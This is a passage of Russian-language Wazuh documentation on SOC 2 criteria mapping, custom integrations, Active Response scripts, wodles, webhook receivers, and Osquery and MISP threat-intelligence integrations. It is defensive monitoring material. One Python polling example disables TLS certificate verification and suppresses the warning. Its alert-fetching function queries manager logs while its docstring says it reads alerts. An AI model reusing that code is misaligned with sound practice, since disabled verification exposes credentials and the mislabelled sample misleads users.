CC6 является одним из наиболее полно покрываемых критериев в Wazuh. Критерий охватывает:

### CC6.1 - ограничение логического доступа

Wazuh мониторит все события аутентификации и авторизации:

```xml
<localfile>
  <log_format>syslog</log_format>
  <location>/var/log/auth.log</location>
</localfile>
```

Правила с тегом `tsc_CC6.1` срабатывают при обнаружении аномалий доступа:

```xml
<rule id="5710" level="5">
  <if_sid>5700</if_sid>
  <match>illegal user|invalid user</match>
  <description>sshd: Attempt to login using a non-existent user</description>
  <group>authentication_failed,tsc_CC6.1,tsc_CC6.8,</group>
</rule>
```

### CC6.2 - создание и управление учетными записями

Мониторинг жизненного цикла учетных записей:

```xml
<rule id="100400" level="8">
  <if_sid>5901</if_sid>
  <description>New user account created - SOC 2 audit event</description>
  <group>tsc_CC6.2,tsc_CC6.3,account_changed,</group>
</rule>
```

### CC6.6 - защита от внешних угроз

Wazuh обнаруживает внешние угрозы через правила анализа логов и корреляцию событий, включая обнаружение brute-force атак, сканирования портов и известных эксплойтов.

### CC6.8 - предотвращение несанкционированного доступа

Мониторинг множественных неудачных попыток аутентификации:

```xml
<rule id="5712" level="10" frequency="6" timeframe="120">
  <if_matched_sid>5710</if_matched_sid>
  <description>sshd: brute force detected</description>
  <group>tsc_CC6.8,tsc_CC7.2,authentication_failures,</group>
</rule>
```

## CC7 - операции системы

### CC7.1 - мониторинг для обнаружения аномалий

Wazuh обеспечивает непрерывный мониторинг через:

- Анализ логов в реальном времени
- [FIM](/docs/wazuh/capabilities/wazuh-file-integrity-monitoring/) для обнаружения изменений
- Обнаружение аномалий в системных событиях
- Маппинг на тактики MITRE ATT&CK

### CC7.2 - мониторинг компонентов системы

```xml
<syscheck>
  <directories check_all="yes" realtime="yes">/usr/bin</directories>
  <directories check_all="yes" realtime="yes">/etc</directories>
  <directories check_all="yes" whodata="yes">/var/data</directories>
</syscheck>
```

### CC7.3 - оценка событий безопасности

Дашборд Wazuh предоставляет инструменты для оценки событий:

- Классификация по уровням (0-15)
- Группировка по правилам и категориям
- Временной анализ тенденций

### CC7.4 - реагирование на инциденты

[Активное реагирование](/docs/wazuh/capabilities/wazuh-active-response/) обеспечивает автоматическую обработку инцидентов:

```xml
<active-response>
  <command>firewall-drop</command>
  <location>local</location>
  <level>10</level>
  <timeout>3600</timeout>
</active-response>
```

## CC8 - управление изменениями

### CC8.1 - контроль изменений

[FIM](/docs/wazuh/capabilities/wazuh-file-integrity-monitoring/) отслеживает все изменения в критических файлах и конфигурациях:

```xml
<syscheck>
  <directories check_all="yes" whodata="yes" report_changes="yes">/etc</directories>
  <directories check_all="yes" whodata="yes" report_changes="yes">/opt/app/config</directories>
</syscheck>
```

Параметр `whodata` фиксирует пользователя и процесс, ответственные за каждое изменение, что критически важно для аудита SOC 2.

## A1 - доступность

### A1.1 - поддержание доступности

Wazuh мониторит события, влияющие на доступность:

- Сбои сервисов и перезагрузки систем
- Исчерпание ресурсов (диск, память, CPU)
- Сетевые проблемы и отключения

```xml
<localfile>
  <log_format>syslog</log_format>
  <location>/var/log/syslog</location>
</localfile>
```

## PI1 - целостность обработки

### PI1.4 - обнаружение ошибок обработки

Wazuh обнаруживает ошибки обработки через анализ логов приложений:

```xml
<localfile>
  <log_format>json</log_format>
  <location>/var/log/app/processing.log</location>
</localfile>
```

[FIM](/docs/wazuh/capabilities/wazuh-file-integrity-monitoring/) контролирует целостность данных в процессе обработки.

## Группы правил TSC

Wazuh использует префикс `tsc_` для тегирования правил. Получить список доступных тегов:

```bash
docker exec wazuh-manager grep -r "tsc_" /var/ossec/ruleset/rules/ | \
  grep -oP 'tsc_[A-Z]+[\d.]+' | sort -u
```

Основные группы:

| Группа | Критерий |
|---|---|
| `tsc_CC6.1` | Ограничение логического доступа |
| `tsc_CC6.2` | Управление учетными записями |
| `tsc_CC6.3` | Управление правами доступа |
| `tsc_CC6.6` | Защита от внешних угроз |
| `tsc_CC6.8` | Предотвращение несанкционированного доступа |
| `tsc_CC7.1` | Мониторинг аномалий |
| `tsc_CC7.2` | Мониторинг компонентов |
| `tsc_CC7.3` | Оценка событий безопасности |
| `tsc_CC7.4` | Реагирование на инциденты |
| `tsc_CC8.1` | Контроль изменений |
| `tsc_A1.1` | Доступность |
| `tsc_PI1.4` | Целостность обработки |

## Поддержка аудита SOC 2

Wazuh помогает организациям подготовиться к аудиту SOC 2 через:

### Сбор доказательств

- Централизованные журналы событий с временными метками
- Записи о контроле доступа и аутентификации
- Отчеты SCA о соответствии конфигурации
- Записи о контроле изменений через FIM

### Демонстрация контролей

- Автоматическое обнаружение угроз и реагирование
- Непрерывный мониторинг безопасности
- Регулярная оценка уязвимостей
- Визуализация состояния безопасности через дашборд

### Формирование отчетов

Для запроса алертов TSC через API:

```bash
curl -sk -u admin:$WAZUH_ADMIN_PASS \
  "https://localhost:9200/wazuh-alerts-*/_search" \
  -H "Content-Type: application/json" \
  -d '{
    "size": 0,
    "query": {
      "bool": {
        "must": [
          { "range": { "timestamp": { "gte": "now-30d" } } },
          { "exists": { "field": "rule.tsc" } }
        ]
      }
    },
    "aggs": {
      "tsc_criteria": {
        "terms": { "field": "rule.tsc", "size": 50 }
      }
    }
  }' | jq '.aggregations.tsc_criteria.buckets'
```

## Модуль TSC в дашборде

Wazuh Dashboard содержит модуль TSC в разделе **Modules > Regulatory compliance > TSC**. Модуль предоставляет:

- Обзор алертов по категориям TSC
- Группировку по критериям Common Criteria
- Временную шкалу событий соответствия
- Детализацию по агентам

## Устранение неполадок

### Алерты TSC не отображаются

1. Проверьте наличие тегов `tsc_` в правилах
2. Убедитесь, что модуль TSC активирован в дашборде
3. Проверьте корректность временного диапазона

### Отсутствуют данные контроля доступа для CC6

1. Проверьте конфигурацию сбора логов аутентификации
2. Убедитесь, что источники логов указаны в `ossec.conf`
3. Проверьте, что агенты активны и отправляют данные

### FIM не генерирует алерты для CC8

1. Убедитесь, что контролируемые каталоги указаны в `<syscheck>`
2. Проверьте, что мониторинг включен
3. При использовании `whodata` убедитесь, что auditd установлен


---

# Wazuh пользовательские интеграции и скрипты

Source: https://opennix.org/docs/wazuh/development/wazuh-custom-integrations/


Wazuh 4.14 предоставляет несколько механизмов расширения функциональности: пользовательские интеграции через integratord, скрипты Active Response для автоматического реагирования, wodle-модули для расширения агентов и webhook-приемники для обработки внешних событий. Каждый механизм подходит для определенных сценариев и имеет свои требования к реализации.

## Архитектура пользовательских интеграций

```
┌─────────────────────────────────────────────────────┐
│                  Wazuh Manager                      │
│                                                     │
│  Alert  ──▶ integratord ──▶ Custom Script ──▶ API   │
│                                                     │
│  Rule   ──▶ Active Response ──▶ Agent Script        │
│                                                     │
│  Wodle  ──▶ Custom Module ──▶ Log Output ──▶ Rules  │
│                                                     │
│  API    ◀── Webhook Receiver ◀── External System    │
└─────────────────────────────────────────────────────┘
```

## Integratord - формат входных данных

Демон `wazuh-integratord` вызывает скрипт интеграции при каждом совпавшем алерте, передавая четыре аргумента:

| Аргумент | Описание |
|---|---|
| `sys.argv[1]` | Путь к файлу с JSON-алертом |
| `sys.argv[2]` | API-ключ (из `<api_key>` в ossec.conf) |
| `sys.argv[3]` | Hook URL (из `<hook_url>` в ossec.conf) |
| `sys.argv[4]` | Путь к файлу с полным алертом |

### Структура JSON-алерта

Файл алерта содержит JSON следующей структуры:

```json
{
  "timestamp": "2024-01-15T10:30:45.123+0000",
  "rule": {
    "level": 10,
    "description": "sshd: authentication failure",
    "id": "5710",
    "mitre": {
      "id": ["T1110"],
      "tactic": ["Credential Access"],
      "technique": ["Brute Force"]
    },
    "groups": ["syslog", "sshd", "authentication_failed"],
    "pci_dss": ["10.2.4", "10.2.5"],
    "gdpr": ["IV_35.7.d", "IV_32.2"]
  },
  "agent": {
    "id": "001",
    "name": "web-server-01",
    "ip": "192.168.1.10"
  },
  "manager": {
    "name": "wazuh-manager"
  },
  "data": {
    "srcip": "10.0.0.50",
    "srcport": "54321",
    "dstuser": "root"
  },
  "full_log": "Jan 15 10:30:45 web-server-01 sshd[12345]: Failed password for root from 10.0.0.50 port 54321 ssh2",
  "decoder": {
    "name": "sshd"
  },
  "location": "/var/log/auth.log"
}
```

### Шаблон скрипта интеграции

```python
#!/usr/bin/env python3
"""Template for a custom Wazuh integration script."""
import sys
import json
import logging
from pathlib import Path

LOG_FILE = "/var/ossec/logs/integrations.log"
logging.basicConfig(
    filename=LOG_FILE,
    level=logging.INFO,
    format="%(asctime)s %(levelname)s [custom-integration] %(message)s",
)

def process_alert(alert: dict, api_key: str, hook_url: str) -> None:
    """Process a Wazuh alert and forward to external system."""
    rule = alert.get("rule", {})
    agent = alert.get("agent", {})

    logging.info(
        "Processing alert: rule=%s level=%s agent=%s",
        rule.get("id"),
        rule.get("level"),
        agent.get("name"),
    )

    # Custom processing logic goes here
    # Example: forward to an HTTP endpoint
    payload = {
        "source": "wazuh",
        "alert_id": rule.get("id"),
        "level": rule.get("level"),
        "description": rule.get("description"),
        "agent_name": agent.get("name"),
        "agent_ip": agent.get("ip"),
        "timestamp": alert.get("timestamp"),
        "mitre": rule.get("mitre", {}),
    }

    # Send payload to external system
    # requests.post(hook_url, json=payload, headers={"Authorization": f"Bearer {api_key}"})

def main():
    if len(sys.argv) < 4:
        logging.error("Insufficient arguments: expected 4, got %d", len(sys.argv) - 1)
        sys.exit(1)

    alert_file = sys.argv[1]
    api_key = sys.argv[2]
    hook_url = sys.argv[3]

    try:
        alert = json.loads(Path(alert_file).read_text())
        process_alert(alert, api_key, hook_url)
    except json.JSONDecodeError as e:
        logging.error("Failed to parse alert JSON: %s", e)
        sys.exit(1)
    except Exception as e:
        logging.error("Integration error: %s", e)
        sys.exit(1)

if __name__ == "__main__":
    main()
```

### Установка и регистрация

```bash
# Скопируйте скрипт в каталог интеграций
cp custom-myintegration /var/ossec/integrations/
chmod 750 /var/ossec/integrations/custom-myintegration
chown root:wazuh /var/ossec/integrations/custom-myintegration

# Добавьте конфигурацию в ossec.conf
# <integration>
#   <name>custom-myintegration</name>
#   <hook_url>https://api.example.com/alerts</hook_url>
#   <api_key>YOUR_API_KEY</api_key>
#   <level>7</level>
#   <alert_format>json</alert_format>
# </integration>

# Перезапустите менеджер
/var/ossec/bin/wazuh-control restart
```

Важные требования к скриптам интеграции:

- Имя файла должно начинаться с `custom-`
- Файл должен быть исполняемым (`chmod 750`)
- Владелец: `root:wazuh`
- Скрипт должен завершаться за разумное время (рекомендуется timeout < 10 секунд)
- Логирование - в `/var/ossec/logs/integrations.log`

## Active Response - скрипты реагирования

Active Response позволяет автоматически выполнять действия на агентах при срабатывании правил. Скрипты располагаются в `/var/ossec/active-response/bin/` на агенте.

### Формат входных данных Active Response

Начиная с Wazuh 4.2, Active Response скрипты получают данные через stdin в формате JSON:

```json
{
  "version": 1,
  "origin": {
    "name": "node01",
    "module": "wazuh-execd"
  },
  "command": "add",
  "parameters": {
    "extra_args": [],
    "alert": {
      "timestamp": "2024-01-15T10:30:45.123+0000",
      "rule": {
        "level": 10,
        "id": "5710",
        "description": "sshd: authentication failure"
      },
      "agent": {
        "id": "001",
        "name": "web-server-01"
      },
      "data": {
        "srcip": "10.0.0.50"
      }
    }
  }
}
```

Поле `command` принимает значения:
- `add` - выполнить действие (например, заблокировать IP)
- `delete` - отменить действие (например, разблокировать IP после timeout)

### Скрипт Active Response на Python

```python
#!/usr/bin/env python3
"""Custom Active Response script for Wazuh - IP blocking via API."""
import sys
import json
import logging
import datetime
import requests

LOG_FILE = "/var/ossec/logs/active-responses.log"
logging.basicConfig(
    filename=LOG_FILE,
    level=logging.INFO,
    format="%(asctime)s %(levelname)s [custom-ar] %(message)s",
)

FIREWALL_API = "https://firewall.example.com/api"
FIREWALL_TOKEN = "YOUR_TOKEN"

def block_ip(ip_address: str) -> bool:
    """Block an IP address via firewall API."""
    payload = {
        "action": "block",
        "source": ip_address,
        "duration": 3600,
        "reason": "Wazuh Active Response - automated block",
    }
    try:
        response = requests.post(
            f"{FIREWALL_API}/rules",
            json=payload,
            headers={"Authorization": f"Bearer {FIREWALL_TOKEN}"},
            timeout=10,
        )
        response.raise_for_status()
        logging.info("Blocked IP %s via firewall API", ip_address)
        return True
    except requests.RequestException as e:
        logging.error("Failed to block IP %s: %s", ip_address, e)
        return False

def unblock_ip(ip_address: str) -> bool:
    """Unblock an IP address via firewall API."""
    try:
        response = requests.delete(
            f"{FIREWALL_API}/rules/{ip_address}",
            headers={"Authorization": f"Bearer {FIREWALL_TOKEN}"},
            timeout=10,
        )
        response.raise_for_status()
        logging.info("Unblocked IP %s via firewall API", ip_address)
        return True
    except requests.RequestException as e:
        logging.error("Failed to unblock IP %s: %s", ip_address, e)
        return False

def main():
    input_data = json.loads(sys.stdin.read())
    command = input_data.get("command")
    alert = input_data.get("parameters", {}).get("alert", {})
    src_ip = alert.get("data", {}).get("srcip")

    if not src_ip:
        logging.warning("No source IP in alert, skipping")
        return

    if command == "add":
        block_ip(src_ip)
    elif command == "delete":
        unblock_ip(src_ip)
    else:
        logging.warning("Unknown command: %s", command)

if __name__ == "__main__":
    main()
```

### Скрипт Active Response на Bash

```bash
#!/bin/bash
# Custom Active Response script - block IP via iptables with logging

LOG_FILE="/var/ossec/logs/active-responses.log"
LOCK_FILE="/var/ossec/var/run/custom-block.lock"

log() {
    echo "$(date '+%Y-%m-%d %H:%M:%S') $1 [custom-block] $2" >> "${LOG_FILE}"
}

# Read JSON from stdin
read -r INPUT
COMMAND=$(echo "${INPUT}" | jq -r '.command')
SRCIP=$(echo "${INPUT}" | jq -r '.parameters.alert.data.srcip // empty')

if [ -z "${SRCIP}" ]; then
    log "WARNING" "No source IP in alert"
    exit 0
fi

# Validate IP address format
if ! echo "${SRCIP}" | grep -qP '^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$'; then
    log "ERROR" "Invalid IP format: ${SRCIP}"
    exit 1
fi

case "${COMMAND}" in
    add)
        if ! iptables -C INPUT -s "${SRCIP}" -j DROP 2>/dev/null; then
            iptables -I INPUT -s "${SRCIP}" -j DROP
            log "INFO" "Blocked IP: ${SRCIP}"
        else
            log "INFO" "IP already blocked: ${SRCIP}"
        fi
        ;;
    delete)
        if iptables -C INPUT -s "${SRCIP}" -j DROP 2>/dev/null; then
            iptables -D INPUT -s "${SRCIP}" -j DROP
            log "INFO" "Unblocked IP: ${SRCIP}"
        else
            log "INFO" "IP not in blocklist: ${SRCIP}"
        fi
        ;;
    *)
        log "WARNING" "Unknown command: ${COMMAND}"
        ;;
esac

exit 0
```

### Регистрация Active Response

Для активации скрипта необходимо зарегистрировать команду и привязку в `ossec.conf` на менеджере:

```xml
<!-- Определение команды -->
<command>
  <name>custom-block</name>
  <executable>custom-block</executable>
  <timeout_allowed>yes</timeout_allowed>
</command>

<!-- Привязка к правилам -->
<active-response>
  <command>custom-block</command>
  <location>local</location>
  <rules_id>5710,5712</rules_id>
  <timeout>3600</timeout>
</active-response>
```

Параметры `<active-response>`:

| Параметр | Описание |
|---|---|
| `<location>` | `local` (на агенте), `server` (на менеджере), `defined-agent` (конкретный агент), `all` (все агенты) |
| `<rules_id>` | Список ID правил, при срабатывании которых запускается скрипт |
| `<rules_group>` | Группа правил для триггера |
| `<level>` | Минимальный уровень алерта |
| `<timeout>` | Время в секундах до автоматической отмены действия (команда `delete`) |

Подробнее о модуле Active Response читайте в разделе [Возможности Wazuh](/docs/wazuh/capabilities/wazuh-active-response/).

## Пользовательские Wodle-модули

Wodle (Wazuh Module) - механизм расширения агента для выполнения произвольных задач по расписанию. Результаты работы wodle записываются в лог, который анализируется движком правил.

### Wodle command

Простейший способ создания пользовательского wodle - использование встроенного wodle `command`:

```xml
<wodle name="command">
  <disabled>no</disabled>
  <tag>system-audit</tag>
  <command>/var/ossec/wodles/custom-audit.sh</command>
  <interval>1h</interval>
  <ignore_output>no</ignore_output>
  <run_on_start>yes</run_on_start>
  <timeout>120</timeout>
</wodle>
```

### Пример wodle-скрипта: аудит привилегированных процессов

```bash
#!/bin/bash
# Custom wodle: audit processes running as root with network connections

TIMESTAMP=$(date -u '+%Y-%m-%dT%H:%M:%S.000Z')

# Find root processes with established connections
ss -tnp | grep ESTAB | while IFS= read -r line; do
    PID=$(echo "${line}" | grep -oP 'pid=\K\d+')
    if [ -n "${PID}" ]; then
        PROC_USER=$(ps -o user= -p "${PID}" 2>/dev/null)
        PROC_NAME=$(ps -o comm= -p "${PID}" 2>/dev/null)
        if [ "${PROC_USER}" = "root" ]; then
            LOCAL=$(echo "${line}" | awk '{print $4}')
            REMOTE=$(echo "${line}" | awk '{print $5}')
            echo "{\"timestamp\":\"${TIMESTAMP}\",\"wodle\":\"system-audit\",\"process\":\"${PROC_NAME}\",\"pid\":${PID},\"user\":\"root\",\"local_addr\":\"${LOCAL}\",\"remote_addr\":\"${REMOTE}\"}"
        fi
    fi
done
```

### Правила для обработки wodle-вывода

```xml
<rule id="100300" level="0">
  <decoded_as>json</decoded_as>
  <field name="wodle">system-audit</field>
  <description>Custom wodle: system audit event</description>
  <group>wodle,system_audit,</group>
</rule>

<rule id="100301" level="8">
  <if_sid>100300</if_sid>
  <field name="user">root</field>
  <field name="remote_addr" negate="yes">127.0.0.1</field>
  <description>Root process $(process) has external network connection to $(remote_addr)</description>
  <mitre>
    <id>T1071</id>
  </mitre>
  <group>wodle,system_audit,suspicious_network,</group>
</rule>
```

## Webhook-приемники

Webhook-приемник позволяет принимать события от внешних систем и преобразовывать их в алерты Wazuh.

### Архитектура webhook-приемника

```
External System ──▶ Webhook Receiver ──▶ Log File ──▶ Wazuh Agent ──▶ Rules
                    (Python/Flask)       (/var/log/)   (localfile)
```

### Пример: Flask-приемник для GitHub Events

```python
#!/usr/bin/env python3
"""Webhook receiver for GitHub security events."""
import json
import hmac
import hashlib
import logging
from pathlib import Path

from flask import Flask, request, abort

app = Flask(__name__)

WEBHOOK_SECRET = "YOUR_GITHUB_WEBHOOK_SECRET"
LOG_FILE = Path("/var/log/github-security.log")

logging.basicConfig(level=logging.INFO)

def verify_signature(payload: bytes, signature: str) -> bool:
    """Verify the GitHub webhook signature."""
    expected = "sha256=" + hmac.new(
        WEBHOOK_SECRET.encode(),
        payload,
        hashlib.sha256,
    ).hexdigest()
    return hmac.compare_digest(expected, signature)

@app.route("/webhook/github", methods=["POST"])
def github_webhook():
    """Handle GitHub webhook events."""
    signature = request.headers.get("X-Hub-Signature-256", "")
    if not verify_signature(request.data, signature):
        abort(403)

    event_type = request.headers.get("X-GitHub-Event", "unknown")
    payload = request.get_json()

    if event_type == "security_advisory":
        log_entry = {
            "source": "github",
            "event": "security_advisory",
            "severity": payload.get("security_advisory", {}).get("severity"),
            "summary": payload.get("security_advisory", {}).get("summary"),
            "cve_id": payload.get("security_advisory", {}).get("cve_id"),
            "repository": payload.get("repository", {}).get("full_name"),
        }
        with open(LOG_FILE, "a") as f:
            f.write(json.dumps(log_entry) + "\n")

    elif event_type == "repository_vulnerability_alert":
        log_entry = {
            "source": "github",
            "event": "vulnerability_alert",
            "package": payload.get("alert", {}).get("affected_package_name"),
            "severity": payload.get("alert", {}).get("severity"),
            "repository": payload.get("repository", {}).get("full_name"),
        }
        with open(LOG_FILE, "a") as f:
            f.write(json.dumps(log_entry) + "\n")

    return "", 200

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080)
```

### Конфигурация Wazuh для чтения вебхук-логов

На агенте, где работает webhook-приемник:

```xml
<localfile>
  <log_format>json</log_format>
  <location>/var/log/github-security.log</location>
</localfile>
```

### Правила для обработки вебхук-событий

```xml
<rule id="100310" level="0">
  <decoded_as>json</decoded_as>
  <field name="source">github</field>
  <description>GitHub webhook event received</description>
  <group>github,webhook,</group>
</rule>

<rule id="100311" level="10">
  <if_sid>100310</if_sid>
  <field name="event">security_advisory</field>
  <field name="severity">critical</field>
  <description>GitHub critical security advisory: $(summary)</description>
  <mitre>
    <id>T1190</id>
  </mitre>
  <group>github,vulnerability,critical,</group>
</rule>

<rule id="100312" level="7">
  <if_sid>100310</if_sid>
  <field name="event">vulnerability_alert</field>
  <description>GitHub vulnerability alert for package $(package) in $(repository)</description>
  <group>github,vulnerability,</group>
</rule>
```

## Обработка алертов через Python

Для пакетной обработки алертов Wazuh можно использовать API или прямое чтение файла алертов.

### Чтение алертов из JSON-файла

```python
#!/usr/bin/env python3
"""Batch alert processing from Wazuh alerts.json."""
import json
from pathlib import Path
from collections import Counter
from typing import Iterator

ALERTS_FILE = Path("/var/ossec/logs/alerts/alerts.json")

def read_alerts(filepath: Path, max_lines: int = 10000) -> Iterator[dict]:
    """Read alerts from the JSON log file."""
    with open(filepath) as f:
        for i, line in enumerate(f):
            if i >= max_lines:
                break
            try:
                yield json.loads(line.strip())
            except json.JSONDecodeError:
                continue

def analyze_alerts(alerts: Iterator[dict]) -> dict:
    """Analyze alert distribution."""
    level_counter = Counter()
    rule_counter = Counter()
    agent_counter = Counter()
    mitre_counter = Counter()

    for alert in alerts:
        rule = alert.get("rule", {})
        level_counter[rule.get("level", 0)] += 1
        rule_counter[rule.get("id", "unknown")] += 1
        agent_counter[alert.get("agent", {}).get("name", "unknown")] += 1

        for technique in rule.get("mitre", {}).get("id", []):
            mitre_counter[technique] += 1

    return {
        "by_level": dict(level_counter.most_common(10)),
        "top_rules": dict(rule_counter.most_common(10)),
        "top_agents": dict(agent_counter.most_common(10)),
        "top_mitre": dict(mitre_counter.most_common(10)),
    }

if __name__ == "__main__":
    alerts = read_alerts(ALERTS_FILE)
    report = analyze_alerts(alerts)
    print(json.dumps(report, indent=2))
```

### Потоковая обработка через API

```python
#!/usr/bin/env python3
"""Real-time alert monitoring via Wazuh API."""
import time
import json
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

WAZUH_API = "https://localhost:55000"
CREDENTIALS = ("wazuh-wui", "YOUR_PASSWORD")
POLL_INTERVAL = 30

def get_token() -> str:
    """Obtain a JWT token."""
    response = requests.post(
        f"{WAZUH_API}/security/user/authenticate?raw=true",
        auth=CREDENTIALS,
        verify=False,
    )
    response.raise_for_status()
    return response.text

def get_recent_alerts(token: str, minutes: int = 5) -> list[dict]:
    """Fetch alerts from the last N minutes via the indexer."""
    headers = {"Authorization": f"Bearer {token}"}
    response = requests.get(
        f"{WAZUH_API}/manager/logs",
        headers=headers,
        params={
            "limit": 100,
            "sort": "-timestamp",
            "tag": "ossec-analysisd",
        },
        verify=False,
    )
    response.raise_for_status()
    return response.json().get("data", {}).get("affected_items", [])

def process_alert(alert: dict) -> None:
    """Process a single alert."""
    level = alert.get("level", "")
    description = alert.get("description", "")
    timestamp = alert.get("timestamp", "")
    print(f"[{timestamp}] Level {level}: {description}")

def main():
    token = get_token()
    while True:
        try:
            alerts = get_recent_alerts(token)
            for alert in alerts:
                process_alert(alert)
        except requests.exceptions.HTTPError as e:
            if e.response.status_code == 401:
                token = get_token()
                continue
            raise
        time.sleep(POLL_INTERVAL)

if __name__ == "__main__":
    main()
```

## Устранение неполадок

### Скрипт интеграции не запускается

1. Проверьте права и владельца файла:

```bash
ls -la /var/ossec/integrations/custom-*
# Ожидается: -rwxr-x--- root wazuh
```

2. Убедитесь, что имя файла начинается с `custom-`:

```bash
# Правильно: custom-myintegration
# Неправильно: myintegration, integration-custom
```

3. Проверьте логи integratord:

```bash
tail -f /var/ossec/logs/integrations.log
```

### Active Response скрипт не выполняется

1. Проверьте наличие скрипта на агенте:

```bash
ls -la /var/ossec/active-response/bin/custom-block
```

2. Убедитесь, что команда зарегистрирована в `ossec.conf`:

```bash
grep -A3 "custom-block" /var/ossec/etc/ossec.conf
```

3. Проверьте логи Active Response:

```bash
tail -f /var/ossec/logs/active-responses.log
```

4. Протестируйте скрипт вручную:

```bash
echo '{"version":1,"command":"add","parameters":{"alert":{"data":{"srcip":"10.0.0.1"}}}}' \
  | /var/ossec/active-response/bin/custom-block
```

### Wodle не генерирует события

1. Проверьте, что wodle включен (`<disabled>no</disabled>`)
2. Убедитесь, что скрипт wodle выводит данные в stdout
3. Проверьте права на исполнение скрипта
4. Просмотрите логи менеджера:

```bash
grep "wodle" /var/ossec/logs/ossec.log
```

### Webhook-приемник не создает алерты

1. Проверьте, что лог-файл заполняется данными:

```bash
tail -f /var/log/github-security.log
```

2. Убедитесь, что `<localfile>` настроен на агенте и указывает на правильный файл
3. Проверьте, что формат лога соответствует указанному в `<log_format>` (json/syslog)
4. Протестируйте декодирование через `wazuh-logtest`:

```bash
/var/ossec/bin/wazuh-logtest
```

Введите строку из лог-файла и проверьте, что декодер и правило срабатывают корректно.

Подробнее о настройке встроенных интеграций читайте в разделе [SIEM-интеграции](/docs/wazuh/integrations/wazuh-siem-integrations/). Справочник API для программного взаимодействия доступен в разделе [REST API](/docs/wazuh/development/wazuh-api-reference/).


---

# Wazuh сторонние интеграции - Osquery, MISP, SOAR

Source: https://opennix.org/docs/wazuh/integrations/wazuh-third-party-integrations/


Wazuh 4.14 расширяет возможности мониторинга и реагирования через интеграцию со сторонними платформами безопасности. Модуль Osquery обеспечивает расширенный сбор данных с конечных точек, платформы threat intelligence (MISP, OpenCTI) позволяют обогащать алерты индикаторами компрометации, а SOAR-решения автоматизируют полный цикл реагирования на инциденты.

## Интеграция с Osquery

[Osquery](https://osquery.io/) - инструмент для запросов к операционной системе через SQL-подобный интерфейс. Wazuh интегрируется с Osquery через модуль wodle, что позволяет выполнять запросы на агентах и анализировать результаты на сервере.

### Настройка wodle osquery

Модуль настраивается в конфигурации агента `/var/ossec/etc/ossec.conf`:

```xml
<wodle name="osquery">
  <disabled>no</disabled>
  <run_daemon>yes</run_daemon>
  <log_path>/var/log/osquery/osqueryd.results.log</log_path>
  <config_path>/etc/osquery/osquery.conf</config_path>
  <add_labels>yes</add_labels>
</wodle>
```

Параметры модуля:

| Параметр | Описание | Значение по умолчанию |
|---|---|---|
| `<disabled>` | Включение/отключение модуля | `yes` |
| `<run_daemon>` | Управление демоном osqueryd | `yes` |
| `<log_path>` | Путь к файлу результатов Osquery | `/var/log/osquery/osqueryd.results.log` |
| `<config_path>` | Путь к конфигурации Osquery | `/etc/osquery/osquery.conf` |
| `<add_labels>` | Добавление меток агента к результатам | `yes` |

### Конфигурация Osquery Pack

Osquery использует файлы конфигурации в формате JSON для определения запросов:

```json
{
  "schedule": {
    "system_info": {
      "query": "SELECT hostname, cpu_brand, physical_memory FROM system_info;",
      "interval": 3600,
      "description": "System information"
    },
    "open_ports": {
      "query": "SELECT DISTINCT pid, port, protocol, address FROM listening_ports WHERE port != 0;",
      "interval": 300,
      "description": "Open network ports"
    },
    "installed_packages": {
      "query": "SELECT name, version, source FROM deb_packages UNION SELECT name, version, source FROM rpm_packages;",
      "interval": 86400,
      "description": "Installed packages inventory"
    },
    "suspicious_processes": {
      "query": "SELECT p.name, p.path, p.cmdline, p.uid, u.username FROM processes p LEFT JOIN users u ON p.uid = u.uid WHERE p.on_disk = 0;",
      "interval": 60,
      "description": "Processes running from deleted binaries"
    }
  }
}
```

### Правила обнаружения для Osquery

Wazuh анализирует результаты Osquery через движок правил. Встроенные правила покрывают базовые сценарии, но для расширенного мониторинга рекомендуется создавать собственные правила:

```xml
<rule id="100200" level="10">
  <decoded_as>osquery</decoded_as>
  <field name="osquery.name">suspicious_processes</field>
  <description>Osquery: process running from deleted binary detected on $(agent.name)</description>
  <mitre>
    <id>T1036</id>
  </mitre>
  <group>osquery,process_anomaly,</group>
</rule>
```

Подробнее о создании правил обнаружения читайте в разделе [Возможности Wazuh](/docs/wazuh/capabilities/).

## Threat Intelligence - MISP

[MISP](https://www.misp-project.org/) (Malware Information Sharing Platform) - платформа обмена индикаторами компрометации (IoC). Интеграция с Wazuh позволяет автоматически проверять наблюдаемые объекты (IP-адреса, домены, хеши файлов) по базе IoC MISP.

### Архитектура интеграции MISP

```
Wazuh Alert --> Custom Integration Script --> MISP API --> IoC Lookup
                                                              |
                                                    Match Found? --> Enriched Alert
```

### Настройка интеграции

1. Создайте API-ключ в MISP: **Administration** - **Auth Keys** - **Add authentication key**
2. Установите скрипт интеграции:

```python
#!/usr/bin/env python3
"""MISP integration for Wazuh - IoC lookup."""
import sys
import json
import requests
from typing import Optional

MISP_URL = "https://misp.example.com"
MISP_API_KEY = "YOUR_MISP_API_KEY"
VERIFY_SSL = True

def search_ioc(value: str, ioc_type: str) -> Optional[dict]:
    """Search for an IoC in MISP."""
    headers = {
        "Authorization": MISP_API_KEY,
        "Accept": "application/json",
        "Content-Type": "application/json",
    }
    payload = {
        "returnFormat": "json",
        "value": value,
        "type": ioc_type,
    }
    response = requests.post(
        f"{MISP_URL}/attributes/restSearch",
        json=payload,
        headers=headers,
        verify=VERIFY_SSL,
    )
    if response.status_code == 200:
        results = response.json()
        if results.get("response", {}).get("Attribute"):
            return results["response"]["Attribute"][0]
    return None

def main():
    alert_file = sys.argv[1]
    with open(alert_file) as f:
        alert = json.load(f)

    # Extract source IP from alert
    src_ip = alert.get("data", {}).get("srcip")
    if src_ip:
        result = search_ioc(src_ip, "ip-src")
        if result:
            print(json.dumps({
                "misp_match": True,
                "event_id": result.get("event_id"),
                "category": result.get("category"),
                "comment": result.get("comment"),
            }))

if __name__ == "__main__":
    main()
```

3. Настройте в `ossec.conf`:

```xml
<integration>
  <name>custom-misp</name>
  <hook_url>https://misp.example.com</hook_url>
  <api_key>YOUR_MISP_API_KEY</api_key>
  <level>7</level>
  <group>web,sshd,firewall,</group>
  <alert_format>json</alert_format>
</integration>
```

### Типы IoC для проверки

| Тип IoC | Источник в алерте Wazuh | Тип MISP |
|---|---|---|
| IP-адрес источника | `data.srcip` | `ip-src` |
| IP-адрес назначения | `data.dstip` | `ip-dst` |
| Домен | `data.hostname` | `domain` |
| Хеш файла (MD5) | `syscheck.md5_after` | `md5` |
